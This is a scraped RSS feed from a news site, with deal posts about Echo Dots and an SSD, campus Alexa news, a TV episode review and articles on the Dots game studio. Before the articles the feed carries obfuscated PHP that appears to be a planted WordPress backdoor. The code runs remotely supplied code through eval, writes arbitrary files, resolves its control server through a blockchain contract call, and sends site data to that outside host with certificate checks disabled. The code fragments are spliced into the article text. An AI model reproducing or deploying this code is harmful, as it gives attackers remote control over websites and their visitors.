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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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Down to $ 75, this is an excellent value for this M.2 SATA Drive if you have a compatible computer. While we’ve seen the price of this drive, like all storage, continue to fall in recent months, this is still a good opportunity to save on it as it has recently fallen even more. Make sure to clip the on-page coupon below the price to get an additional 5 percent off.

This drive is the M.2 SATA version of the runner-up pick in our guide to the best SSDs. Andrew Cunningham wrote, “Crucial’s 500 GB MX500 is available in both 2.5-inch and M.2 SATA versions, and it’s one of the cheapest big-name SSDs you can buy. It’s fast enough and capacious enough for most people, and it offers useful features like hardware encryption support and a five-year warranty. A handful of SATA drives are a little faster than the MX500, but if the 860 Evo is out of stock, or if it’s significantly more expensive—the price gap between the 860 Evo and MX500 varies depending on the type and size of drive you’re buying—the MX500 is one of the best drives you can buy.”

Amazon Echo Dot (3rd Generation) 2 For $ 50

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Street price: $ 70; deal price: $ 50

Right now, when you purchase two 3rd gen Echo Dots, the price drops to $ 25 each in-cart. The newest iteration of the Dot has been selling for special holiday pricing of $ 30 in recent weeks and we saw a low of $ 24 during Black Friday, but it usually retails for $ 50 (though near constant sales lower the average street price to around $ 35). Although you have to buy two to get this deal, this nearly matches the lowest we’ve seen in terms of price per Dot. Availability is between December 9th – 15th depending on which color you choose, but Amazon promises delivery prior to Christmas.

The Echo Dot is the affordable Echo pick in our guide to Amazon’s line of Alexa-enabled smart speakers. Grant Clauser wrote, “For a lot less than the full-size Echo, and with the ability to connect wirelessly to your choice of speaker or sound system, the Echo Dot (3rd Gen) is a smart option. The new Dot is slightly larger than the old one, has a fabric cover like the main Echo, and overall looks less like a tuna can than the original. It includes volume and microphone buttons on top like the current Echo (and the original Dot).”

Tiertime Up Mini 2 3D Printer

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Street price: $ 500; deal price: $ 400

While we’ve seen the price of this 3D printer for home use drop steadily since its release, this is still a good deal as the price has nearly always between $ 475 and $ 550 in recent months. In fact, the price of the Tiertime Up Mini 2 has jumped back up to $ 600 at many retailers in recent weeks, and while that price isn’t reflective of the actual street value of this 3D printer, this deal is significantly below the actual street value of around $ 500.

The Tiertime Up Mini 2 is the top pick in our guide to the best home 3D printer for beginners. Signe Brewster wrote, “After spending 18 hours researching, 22 hours setting up, and 240 hours printing with eight of the best beginner-focused 3D printers we could find, we think the Tiertime Up Mini 2 is the best choice for most people just starting out with 3D printing at home. It has an unmatched combination of affordability, reliability, features, and style; it was the easiest to set up; and it produced as many great-quality prints as models that cost twice as much.”

PreSonus AudioBox iTwo Audio Interface

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Street price: $ 150; deal price: $ 105

The PreSonus AudioBox iTwo, a USB audio interface we like for recording content, is down to $ 105. While not the lowest price we’ve ever seen—we saw it for as low as $ 100 late last year—this is still the best price we’ve seen in 2018 and the first drop of any significance we’ve seen in some time. Whether you’re a musician or an aspiring podcaster, this is a solid chance to save on a recommended option, especially if you’re interested in the included recording software.

The PreSonus AudioBox iTwo is the runner-up pick in our guide to the best USB audio interface. Al Griffin wrote, “The AudioBox iTwo received high marks from our listening panel for its sound quality, with comments citing its ability to capture the natural decay of acoustic instruments as well as maintain spaciousness and detail even during loud passages. The AudioBox iTwo’s iPad and MIDI support, along with the Studio One Artist software (a $ 100 value) that PreSonus bundles with the unit, also make it an appealing alternative for those looking to go beyond the confines of GarageBand and other free recording software.”

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]]> https://briefnews.eu/wirecutters-best-deals-get-two-amazon-echo-dots-3rd-gen-for-50/feed/ 0 Saint Louis University will put 2,300 Echo Dots in student residences https://briefnews.eu/saint-louis-university-will-put-2300-echo-dots-in-student-residences/ https://briefnews.eu/saint-louis-university-will-put-2300-echo-dots-in-student-residences/#respond Thu, 16 Aug 2018 05:37:51 +0000 http://briefnews.eu/saint-louis-university-will-put-2300-echo-dots-in-student-residences/

If you’re attending Saint Louis University this semester, you’ll find more in your dorm room than the usual tiny furnishings. The school has unveiled plans to provide all 2,300 student residences on campus (both dorms and apartments) with Echo Dots by the time classes begin in late August. To no one’s surprise, they’re not just there for asking about the weather. They’ll have access to an SLU Alexa skill that provides answers to “more than 100” common questions, whether it’s the location of a building, event timing or library hours.

The university said it was the first such institution to put smart speakers in every residence. Other schools either placed them only in specific living spaces (say, rec areas) or only made them available on request.

These Echos don’t carry an extra cost. SLU promises that it didn’t hike tuition to cover the costs, either, as it took advantages of partnerships (including Amazon) and capital funding. And before you ask: SLU isn’t tying access to individual accounts or collecting personal information. You won’t get to use it for shopping, but you also won’t have to worry that the university is gathering personal info.

Is it something of a gimmick? Maybe. There are some genuinely practical advantages, however. It’ll provide students around-the-clock access to campus info without having to call a help line or dig through a website. That could reduce the load on SLU’s staff and free them to answer questions that an AI helper can’t (currently) solve.

Via: The Verge

Source: Saint Louis University

]]> https://briefnews.eu/saint-louis-university-will-put-2300-echo-dots-in-student-residences/feed/ 0 3D, volume-filled imagery created with hovering dots https://briefnews.eu/3d-volume-filled-imagery-created-with-hovering-dots/ https://briefnews.eu/3d-volume-filled-imagery-created-with-hovering-dots/#respond Sat, 27 Jan 2018 20:37:43 +0000 http://briefnews.eu/3d-volume-filled-imagery-created-with-hovering-dots/

All sorts of 3D-imaging technologies tend to get lumped under the label “hologram.” But there’s actually a variety of distinct technologies that can create the appearance of depth. Now, we can add another to the list: the photophoretic-trap volumetric display. The device uses one set of optical hardware to control the motion of a tiny sphere and a second set to illuminate the sphere as it travels. Provided the sphere can be kept moving fast enough, the result is a true-color image that has real depth since it’s built from light reflected from different locations.

The downside is that a single sphere can’t cover all that much ground in the amount of time our brain needs to construct an image. As a result, photophoretic-trap volumetric display is currently limited to either small images or showing only part of an image at a time.

The recent work, from a team at Brigham Young University, is a variation on volumetric displays. These involve projecting a changing image onto a moving reflective surface. If the change in the image is properly matched to the changing location of where it’s projected, the result will be the appearance of depth, since the light you see will actually be reflected at different locations. On the plus side, this doesn’t require the viewer to wear any hardware, and multiple people can view the image at the same time, each seeing it from the appropriate perspective.

]]> https://briefnews.eu/3d-volume-filled-imagery-created-with-hovering-dots/feed/ 0 ‘American Horror Story: Cult’ Review: ‘Neighbors From Hell’ Begins to Connect the Dots [Wednesday] https://briefnews.eu/american-horror-story-cult-review-neighbors-from-hell-begins-to-connect-the-dots-wednesday/ https://briefnews.eu/american-horror-story-cult-review-neighbors-from-hell-begins-to-connect-the-dots-wednesday/#respond Wed, 20 Sep 2017 16:50:28 +0000 http://briefnews.eu/american-horror-story-cult-review-neighbors-from-hell-begins-to-connect-the-dots-wednesday/ american horror story neighbors from hell

(Every week, we’re going to get the discussion going about American Horror Story: Cult by answering one important question: who is the main villain of the episode?)

Episode 3 of American Horror Story: Cult, titled “Neighbors From Hell,” began to connect every bloody event that has plagued Ally’s life since the election. But if AHS’s history tells us anything, it’s that we’re about to hit the point in the story where the season gets a bit muddied, clunky and weird. Is it possible AHS: Cult will follow that pattern? Maybe.

Honestly, though, we’re thankful season 7 has pivoted mostly away from its post-election hysteria angle. But the one thing that has quickly begun to test our patience is the overuse of Sarah Paulson’s cry-face. We know she has more to bring to Ally than just helpless tears. It’s about time she stops playing the victim.

This Week’s Big Bad: Ally Mayfair-Richards

Picking Ally as the villain is probably considered a hot take, but after three episodes of viewing the world through her panic-stricken, fearful perspective, it’s become so glaring just how self-absorbed her character truly is. She’s a victim of many unfortunate circumstances – murderous clowns, seductive babysitter, manipulative psychiatrist – and her move to get a gun in last week’s episode led us to believe she’d finally take matters into her own hands. And boy did she. And boy did things backfire.

Gunning Pedro Morales down on her front step set up a chain of events that eventually put her on the outs with her community – the news even called her a “lesbian George Zimmerman.” Her son doesn’t feel safe with her anymore. Her patient and loving wife has finally hit her breaking point. Leave it up to Winter’s (Billie Lourd) brief bathroom seduction to send Ivy (Alison Pill) packing.

White privilege is as white privilege does and through all the examples of bad parenting – seriously, how many times are Ally and Ivy going to leave Oz (Cooper Dodson) alone in the middle of a crime scene? – combined with these seemingly random attacks eventually leaves Ally at the end of her rope.

If she can’t turn to her wife, her coworkers, her neighbors or her doctor for guidance, it looks like there’s only one clear shoulder for her to cry on. As baffling as this sounds, it feels like Kai is about to become Ally’s only hope.

An Unexpected Blue-Haired Hero

This whole time, we’ve been patiently waiting for Kai (Evan Peters) to make his move. It’s been a slow trajectory, with Anderson lurking in the background. But as Ally begins to pay the price for the accidental murder of her restaurant employee, the blue-haired maniac appears as her proverbial knight in shining armor.

“Just keep living your truth,” Kai tells Ally as she first discovers the protestors picketing outside The Butchery on Main. Praising her bravery, Kai promises to take care of the crowd. Lo and behold, he does – not once, but twice.

As he makes his slow and steady rise to power within this Michigan community, Kai goes pinky-to-pinky with a couple of new additions to his cause: Harrison (Billy Eichner) and Meadow Wilton (Leslie Grossman). What we learn from these interactions is Meadow is afraid of being 40 and childless and Harrison wants his wife dead.

“Everything is somebody else’s fault from now on,” Kai tells Meadow. “Make the world wrong.” It’s this comment that exposes his ultimate strategy. Playing the blame game is a polarizing exercise, for sure. But as the clown-faced serial killer’s smiley-faced symbol begins appearing in Ally & Ivy’s neighborhood, placing blame becomes a simplistic and destructive defense mechanism.

Everything Is Connected

All it really takes for Ally to come to the conclusion that all these random acts of terror may not be random at all was the video reveal of her indiscretion with Winter in the bathtub. Yes, Ozzy found the video of his mother and babysitter on his computer – which points to a bigger conspiracy involving the Mayfair-Richards house being bugged – but for Ivy, all she sees is red. After all of Ally’s rants, visions, panic attacks and unhinged behavior, it comes down to this act of infidelity that sends Ivy packing.

While it may be a bit infuriating to watch Ivy lose it (because, hey there’s been secret surveillance in their house all this time!), watching Ally put two-and-two together makes us hopeful she’s not going to be this one-note character for that much longer. And her deduction is most-definitely right.

From the odd bird-killing chemical truck making the rounds in her neighborhood to the cult of Kai Anderson – The Wiltons and Colton Haynes’ platinum blonde Detective Samuels getting all cozy was an interesting reveal – to the restaurant murder to the power outage to the killer clowns, it seems all these details are adding up to one main goal of bringing Ally down. Is Kai the mastermind behind it all? Or is someone else pulling the strings?

A Killer Conundrum

“Neighbors From Hell” introduced a new fear into the mix: cleithrophobia, or the fear of being trapped in a box. That theme of being trapped – both physically and mentally – is an ongoing one in American Horror Story: Cult. As we watched another patient of Dr. Vincent’s (Cheyenne Jackson) celebrate being cured of her mental illness, only to go home and be stuffed into a surprise coffin by those same clown killers, it dawned on us that Ally’s psychiatrist has to be in on this whole murderous mystery.

There’s something very Nightbreed about this whole scenario. Could Dr. Rudy Vincent be the leader of the clown mask-wearing marauders that have been tormenting Ally and her neighbors? Was that visual of the good doctor shuffling smiley face pins around on his desk a hint at something more sinister at play? He may not be wearing a creepy zipper mask like David Cronenberg did in the aforementioned Clive Barker-adaptation, but it would add another intriguing layer to the mix.

But something tells us if Dr. Rudy Vincent is indeed the leader of the killer clowns, he’s not directly involved with Kai Anderson’s group. It just wouldn’t make sense – then again, not much does make sense here. Not yet, anyway.

As Ivy and Oz gear up to leave Ally, the climax of episode 3 reveals itself in the form of another pesky murder. This time, it’s poor Meadow Wilton. The Changs’ former house, which was just bathed in blood two episodes ago, became a crime scene yet again. Now with Meadow out of the picture, and with Harrison face down and handcuffed in the middle of the street – he did tell Kai he wanted her dead, after all – it seems the next house on the killer’s list is Ally and Ivy’s.

If ever there was a time for Kai to come and take away Ally’s fear, now would most definitely be it.

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]]> https://briefnews.eu/american-horror-story-cult-review-neighbors-from-hell-begins-to-connect-the-dots-wednesday/feed/ 0 ASU students live with Echo Dots while learning voice-control tech https://briefnews.eu/asu-students-live-with-echo-dots-while-learning-voice-control-tech/ https://briefnews.eu/asu-students-live-with-echo-dots-while-learning-voice-control-tech/#respond Fri, 18 Aug 2017 00:22:01 +0000 http://briefnews.eu/asu-students-live-with-echo-dots-while-learning-voice-control-tech/

Engineering students at Arizona State University can opt into an interesting new program meant to give students access to voice-controlled technology while they learn about it in the classroom. Students living in the campus’ new engineering residence hall, Tooker House, can get a free Amazon Echo Dot and take courses aimed at developing the technology. “Our focus is putting this technology into the hands of our students in a way that will build an ecosystem that supports voice technologies throughout the ASU campus,” said ASU’s Octavio Heredia in a statement.

Amazon has donated 1,600 Dots to the school as well as Alexa Skills Kits that can be used in or outside of the classroom. Three undergraduate courses are also being taught this semester that focus on voice-user interface development with an additional class scheduled for the spring. “Once they are familiar with the devices, they are going to want to further develop their own skills and begin integrating that technology — the hardware and the skills — into other projects,” said Heredia.

Along with putting Dots in every Tooker House dorm room, the university is also developing an ASU-specific Alexa skill that will give users information about the school and its campus. For engineering students interested in this sort of technology, ASU’s program seems like a great way to jump in.

Amazon dot – Tooker House from ASU Now on Vimeo.

Via: The Verge

Source: ASU

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]]> https://briefnews.eu/asu-students-live-with-echo-dots-while-learning-voice-control-tech/feed/ 0 How a few yellow dots burned the Intercept’s NSA leaker https://briefnews.eu/how-a-few-yellow-dots-burned-the-intercepts-nsa-leaker/ https://briefnews.eu/how-a-few-yellow-dots-burned-the-intercepts-nsa-leaker/#respond Tue, 06 Jun 2017 15:34:48 +0000 http://briefnews.eu/how-a-few-yellow-dots-burned-the-intercepts-nsa-leaker/

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When reporters at The Intercept approached the National Security Agency on June 1 to confirm a document that had been anonymously leaked to the publication in May, they handed over a copy of the document to the NSA to verify its authenticity. When they did so, the Intercept team inadvertently exposed its source because the copy showed fold marks that indicated it had been printed—and it included encoded watermarking that revealed exactly when it had been printed and on what printer.

The watermarks, shown in the image above—an enhancement of the scanned document The Intercept published yesterday—were from a Xerox Docucolor printer. Researchers working with the Electronic Frontier Foundation have reverse-engineered the grid pattern employed by this class of printer; using the tool, Ars (and others, including security researcher Robert Graham) determined that the document passed to The Intercept was printed on May 9, 2017 at 6:20am from a printer with the serial number 535218 or 29535218.

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]]> https://briefnews.eu/how-a-few-yellow-dots-burned-the-intercepts-nsa-leaker/feed/ 0 The next ‘Dots’ game is completely different, except for the dots https://briefnews.eu/the-next-dots-game-is-completely-different-except-for-the-dots/ https://briefnews.eu/the-next-dots-game-is-completely-different-except-for-the-dots/#respond Wed, 03 May 2017 14:32:48 +0000 http://briefnews.eu/the-next-dots-game-is-completely-different-except-for-the-dots/

Dots, the studio behind a beautifully-designed series of mobile games (including Two Dots and last year’s Dots & Co), just announced its next game: Wilds. As the title suggests, this game will be a departure from what the studio has produced thus far — it’s the first game that doesn’t have the word “dots” in its title. And the announcement game via an odd, enigmatic video that shows a lone figure in the middle of a dark forest, dancing amidst trees and glowing orbs. Those orbs surely resemble the dots that you must connect in the studio’s other puzzle games, but there’s no other hint as to what players can expect when Wilds arrives.

Fortunately, David Hohusen (Dots’ VP of game design) was willing to shed some light on what differentiates Wilds from its predecessors. “Connecting dots, making squares, and a couple other existing gameplay mechanics are the only things that we took from our existing titles,” he says. “We’re moving into a completely new genre [for Dots] with a puzzle RPG.” That means that for the first time, players will be in control of a female avatar who travels with them through the world of Wilds.

In another first for the Dots series, Wilds will be a non-linear game. Previous entries set you on a path of levels you had to clear, but Wilds will let players pick paths through the world — and that means they’ll run into levels they can’t get past without clearing earlier challenges and leveling up their avatar’s powers first.

“Lots of Two Dots and Dots & Co. players ask each other ‘what level are you on?'” says Hohusen. “With Wilds, people will ask ‘what level is your avatar?’ It’s going to become less relevant how far you are in the game — it’s more about what can you do that I cannot do.” And it sounds like Wilds will let player directly compare their skills — Hohusen said that the game would contain “elements” of multiplayer competition and co-op. ” It’ll be a very engaging experience — when you play this game with your friends it matters, versus just playing with random people.”

It’s hard to envision exactly how these co-op and puzzle / RPG elements will work without seeing any game footage or screenshots. But Dots has a strong track record of creating unique and engaging puzzle games, so we’ll give them the benefit of the doubt while they wrap up work on Wilds. And Hohusen said that while there’s a lot new in Wilds, the game will retain what has become the company’s hallmark: beautiful visuals and a catchy, engaging soundtrack that both pull you into the game’s world. “We call the ‘over the shoulder’ test,” he says. “The idea is if i’m playing a game on a subway, it should be that someone looking at it over your shoulder can’t take their eyes off it, or they’ll ask you what you’re playing.”

Screenshots from Dots & Co.

Naturally, Hohusen believes Wilds passes that test. “Visually, it’s a very striking game,” Hohusen says. “It’s a game that really demands your attention, and the way players interact and experience this world is super intuitive.” As a studio focused specifically on building mobile experiences, Hohusen thinks that Dots has come up with a formula well-suited for people playing quick sessions on their phones as well as those looking for longer, more in-depth experiences.

But in classic Dots fashion, Wilds will be free-to-play — which means you’re going to run out of lives eventually and have to put the game down. Hohusen stressed that, as in the studio’s other games, you’ll be able to unlock and complete every part of the game without spending any cash. But those who want to keep playing or purchase power-ups to make levels easier will need to open their wallets. But the company has done free-to-play in a fair, non-obnoxious way in the past, so hopefully they’ll be successful this time out as well.

We’ll need to wait until later this year to find out, as Wilds isn’t going to launch until sometime this fall. There’s a lot of work still to be done, which is why we’re not seeing anything besides a few visuals on the game’s site and the aforementioned teaser video. In the meantime, the company is still regularly adding levels to Two Dots and Dots & Co. If you’re new to the series, those games will give you a good idea of what the Dots universe is like before Wilds launches for iOS and Android later this year.

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]]> https://briefnews.eu/the-next-dots-game-is-completely-different-except-for-the-dots/feed/ 0 Dots will launch its fourth title Wilds in late 2017 https://briefnews.eu/dots-will-launch-its-fourth-title-wilds-in-late-2017/ https://briefnews.eu/dots-will-launch-its-fourth-title-wilds-in-late-2017/#respond Wed, 03 May 2017 07:11:29 +0000 http://briefnews.eu/dots-will-launch-its-fourth-title-wilds-in-late-2017/

Dots, the New York mobile game studio behind Dots, is announcing that it will launch its fourth title Wilds in late 2017.

The company has so far thrived on puzzle games such as Dots, Two Dots, and Dots & Co. But the new game is a total departure from the company’s past, as you can see from the trailer below. The title has a cinematic feel, and it will introduce character-led gameplay that builds on the Dots mechanic.

The trailer introduces the Wilds universe, and it marks a countdown to the game’s launch later this year.

“Wilds is unique in the mobile gaming category because the avatar-led gameplay allows users to actually interact with and affect the surrounding environment and universe,” said David Hohusen, vice president of game design at Dots, in a statement. “This release will bring new depth to the Dots’ portfolio, while building upon the design-first principles that keep our users playing week after week and year after year.”

Above: Wilds

Image Credit: Dots

The trailer is actually a live-action film, directed by Radical Friend and choreographed by Jasmine Albu-querque-Croissant. And it’s the first time that Dots has turned to such a technique to announce a new game. Everything from the film’s characters and cinematography to its choreography parallel the unique dimensions of the Wilds’ world, the company said.

Both the film and game include original sound design by Dots’ in-house composer duo, who have produced sound for every release since day one.

“Wilds is a new take on the Dots mechanic our players know and love, so we wanted to find a way to portray its depth, mystery and drama in our announcement,” said Patrick Moberg, cofounder and chief creative officer at Dots, in a statement. “By inviting these artists to reinterpret elements of Wilds’ complex challenges and gameplay, the film becomes a beautiful representation of how it feels to play.”

Wilds will be available on iOS and Android devices in late 2017. Dots’ previous games have generated more than 100 million downloads since 2013.

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]]> https://briefnews.eu/dots-will-launch-its-fourth-title-wilds-in-late-2017/feed/ 0 Lean Into the Alexa-Powered Future With $20 Off Three Amazon Echo Dots https://briefnews.eu/lean-into-the-alexa-powered-future-with-20-off-three-amazon-echo-dots/ https://briefnews.eu/lean-into-the-alexa-powered-future-with-20-off-three-amazon-echo-dots/#respond Sun, 16 Apr 2017 09:26:00 +0000 http://briefnews.eu/lean-into-the-alexa-powered-future-with-20-off-three-amazon-echo-dots/
Three Amazon Echo Dots, $ 130 with code DOT3PACK

Amazon’s Alexa is basically the operating system of the home, but to fully appreciate it, you need to scatter Echoes and Echo Dots around your house until they can basically hear your from anywhere. If you’re ready to fully commit, Amazon’s offering a solid discount on the already-affordable Echo Dot when you buy three.

This was initially supposed to be a one-week promotion, but it seems Amazon’s extended the deal at least through April 25.

To get the deal, just add three Dots to your cart, and use promo code DOT3PACK at checkout. The $ 130 you’ll spend is, somewhat incredibly, $ 50 less than a single full-sized Amazon Echo. The Dots’ speakers obviously aren’t as good, but you can plug them in or pair them over Bluetooth to any other speaker you have lying around, which makes them perfect little omnipotent, voice-activated Music streamers.

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]]> https://briefnews.eu/lean-into-the-alexa-powered-future-with-20-off-three-amazon-echo-dots/feed/ 0 Dippin Dots Wins With Free Press After Sean Spicer Launched 5 Year Twitter War With The Company https://briefnews.eu/dippin-dots-wins-with-free-press-after-sean-spicer-launched-5-year-twitter-war-with-the-company/ https://briefnews.eu/dippin-dots-wins-with-free-press-after-sean-spicer-launched-5-year-twitter-war-with-the-company/#respond Tue, 24 Jan 2017 18:43:33 +0000 http://briefnews.eu/dippin-dots-wins-with-free-press-after-sean-spicer-launched-5-year-twitter-war-with-the-company/ Trump Press Secretary Sean Spicer Is Having Awkward Adjuatment

Sean Spicer, Donald Trump’s press secretary had a five year gig before getting tapped by Trump, and that was waging a one-sided Twitter war against Dippin Dots. Yes, Dippin Dots, the company most frequently seen at the mall, which has the tag line “The ice cream of the future.” It’s not clear whether Spicer had a bad experience at his local Dippin Dots, but he kept his Twitter rage going for five years.

Back in 2010, before Spicer was in front of the podium threatening CNN and Buzzfeed for stepping out of line at press conferences, Sean Spicer was tweeting against Dippin Dots, saying that no matter what the company said, they were not the ice cream of the future in his humble opinion. Part of the problem seems to be linked to the fact that one time, when Spicer was at the mall, they ran out of vanilla.

“If Dippin Dots was the ice cream of the future, they would not have run out of vanilla.”

Anyone can have a bad day, and post an angry tweet, but Spicer kept this up for five years.

Spicer started his personal Twitter war with Dippin Dots in April of 2010 when he was working for a company called Endeavor Global Strategies, a PR firm her cofounded, says the New York Daily News. He wanted his Twitter followers to know just what he thought about Dippin Dots.

“Dippin dots is NOT the ice cream of the future.”

He followed up with a restatement of the same tweet.

“I think I have said this before but Dippin Dots are not the ice cream of the future (sic).”

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But it sounds possible that Spicer was actually having a love-hate relationship with Dippin Dots, because while at a Washington Nationals game the next year, he got close enough to find out that they ran out of his favorite flavor, vanilla.

“If Dippin Dots was truly the ice cream of the future would not have run out of vanilla.”

But though Spicer likely didn’t see this coming, his quippy Twitter posts have gotten lots of attention,

But if there is ever a winner in a Twitter war (even a one-sided one, as Dippin Dots never responded, until now) it’s Dippin Dots, by first, taking the high road, even when Spicer went low, for the full five years, and now, using the five year feud as a free publicity opportunity, says Ad Week. Dippin Dots CEO Scott Fischer wrote an open letter to Spicer, asking to be friends, and asking if they can have an ice cream social for Spice and the White House press corps.

“Dear Sean,We understand that ice cream is a serious matter. And running out of your favorite flavor can feel like a national emergency!”

And Fischer also said that he believes that the Trump administration and Dippin Dots have something in common, as both want to keep creating American jobs, and Dippin Dots has double digit growth.

It sounds like Spicer might be into some kind of fence mending, because he tweeted in response to the open letter, and said that he would like it if Dippin Dots would offer first responders and military something sweet as a thank you.

Might a spicy flavor named for Spicer be in the future?

What do you think this Twitter war says about Sean Spicer and Dippin Dots?

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